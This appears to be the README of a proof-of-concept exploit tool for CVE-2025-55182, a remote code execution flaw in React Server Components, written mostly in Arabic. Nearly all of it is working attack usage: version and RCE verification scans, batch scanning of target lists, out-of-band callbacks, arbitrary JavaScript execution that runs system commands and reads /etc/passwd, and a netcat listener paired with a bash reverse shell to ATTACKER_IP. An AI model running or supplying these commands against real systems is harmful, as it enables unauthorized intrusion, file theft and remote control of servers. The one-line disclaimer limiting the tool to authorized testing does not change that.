
POC React2Shell-CVE-2025-55182
____ _____ _ ____ _____ ____ ____ _ _ _____ _ _
| _ \| ____| / \ / ___|_ _|___ \/ ___|| | | | ____| | | |
| |_) | _| / _ \| | | | __) \___ \| |_| | _| | | | |
| _ <| |___ / ___ \ |___ | | / __/ ___) | _ | |___| |___| |___
|_| \_\_____/_/ \_\____| |_| |_____|____/|_| |_|_____|_____|_____|
[ CVE-2025-55182 ]
ماسح تنفيذ الأوامر عن بُعد لمكونات خادم React (RSC)
| الدور | الاسم | الرابط |
|---|---|---|
| البحث الأصلي | Lachlan Davidson | github.com/lachlan2k |
استنادًا إلى الإثبات الأصلي: React2Shell-CVE-2025-55182-original-poc
React2Shell هو ماسح أمني شامل لـ CVE-2025-55182، وهو ثغرة تنفيذ أوامر عن بُعد (RCE) حرجة تؤثر على تطبيقات مكونات خادم React (RSC). تسمح هذه الثغرة للمهاجمين غير المصادق عليهم بتنفيذ كود جافا سكريبت عشوائي على الخادم من خلال إلغاء التسلسل غير الآمن في بروتوكول React Flight.
# Clone the repository
git clone https://github.com/Shadowroot97/POC-React2Shell-CVE-2025-55182.git
cd POC-React2Shell-CVE-2025-55182
# Install dependencies
pip install requests
# Run the scanner
python3 exploit_cve_2025_55182_v2.py -h
usage: exploit_cve_2025_55182_v2.py [-h] [-t TARGET] [-f FILE] [-m {version,verify,custom}]
[--js JS] [--extract] [--sleep SECONDS]
[--callback URL] [--dns DOMAIN] [-v]
[--no-color] [--timeout TIMEOUT]
يكشف بشكل سلبي عن إصدارات React والأطر الضعيفة:
python3 exploit_cve_2025_55182_v2.py -t https://target.com
-m verify)يؤكد RCE بنشاط باستخدام تقنيات متعددة وجميع المتغيرات الأربعة للحمولة:
# التحقق الأساسي (تغيير الملخص)
python3 exploit_cve_2025_55182_v2.py -t https://target.com -m verify
# مع التحقق القائم على الوقت
python3 exploit_cve_2025_55182_v2.py -t https://target.com -m verify --sleep 5
# مع استدعاء OOB (Burp Collaborator)
python3 exploit_cve_2025_55182_v2.py -t https://target.com -m verify --callback abc123.oastify.com
# التحقق الكامل مع إخراج مفصل
python3 exploit_cve_2025_55182_v2.py -t https://target.com -m verify \
--sleep 5 --callback abc123.oastify.com --dns abc123.oastify.com -v
-m custom)تنفيذ حمولات جافا سكريبت عشوائية:
# الحصول على إصدار Node.js
python3 exploit_cve_2025_55182_v2.py -t https://target.com -m custom \
--js "process.version" --extract
# تنفيذ أمر نظام
python3 exploit_cve_2025_55182_v2.py -t https://target.com -m custom \
--js "require('child_process').execSync('id').toString()" --extract
# قراءة ملف
python3 exploit_cve_2025_55182_v2.py -t https://target.com -m custom \
--js "require('fs').readFileSync('/etc/passwd','utf8')" --extract
-f)مسح عناوين URL متعددة من ملف وعرض الأهداف الضعيفة فقط:
python3 exploit_cve_2025_55182_v2.py -f targets.txt
# كشف الإصدار (الوضع الافتراضي)
python3 exploit_cve_2025_55182_v2.py -t https://target.com
# التحقق من RCE
python3 exploit_cve_2025_55182_v2.py -t https://target.com -m verify
# مسح دفعي لأهداف متعددة
python3 exploit_cve_2025_55182_v2.py -f targets.txt
# إخراج مفصل
python3 exploit_cve_2025_55182_v2.py -t https://target.com -m verify -v
# التحقق القائم على الوقت + OOB
python3 exploit_cve_2025_55182_v2.py -t https://target.com -m verify \
--sleep 5 --callback your-id.oastify.com
# استخراج معلومات الخادم
python3 exploit_cve_2025_55182_v2.py -t https://target.com -m custom \
--js "process.version" --extract
# تنفيذ أمر
python3 exploit_cve_2025_55182_v2.py -t https://target.com -m custom \
--js "require('child_process').execSync('whoami').toString()" --extract
# بدء المستمع
nc -lvnp 443
# تنفيذ الشل العكسي
python3 exploit_cve_2025_55182_v2.py -t https://target.com -m custom \
--js "process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/ATTACKER_IP/443 0>&1\"')"
هذه الأداة مقدمة لاختبارات الأمان المصرح بها والأغراض التعليمية فقط.
| الوسيطة | الوصف |
|---|
-t, --target | عنوان URL الهدف (مثل https://example.com) |
-f, --file | ملف يحتوي على قائمة عناوين URL (واحد في كل سطر) للمسح الدفعي |
-m, --mode | وضع المسح: version (افتراضي)، verify، أو custom |
--js | كود جافا سكريبت للوضع المخصص |
--extract | استخراج نتيجة السلسلة حرفًا بحرف |
--sleep SECONDS | التحقق من RCE القائم على الوقت (وضع verify) |
--callback URL | عنوان URL لاستدعاء HTTP لاختبار OOB (وضع verify) |
--dns DOMAIN | نطاق استدعاء DNS لاختبار OOB (وضع verify) |
-v, --verbose | إخراج مفصل مع تفاصيل الحمولة |
--no-color | تعطيل الإخراج الملون |
--timeout SECONDS | مهلة طلب HTTP (الافتراضي: 30) |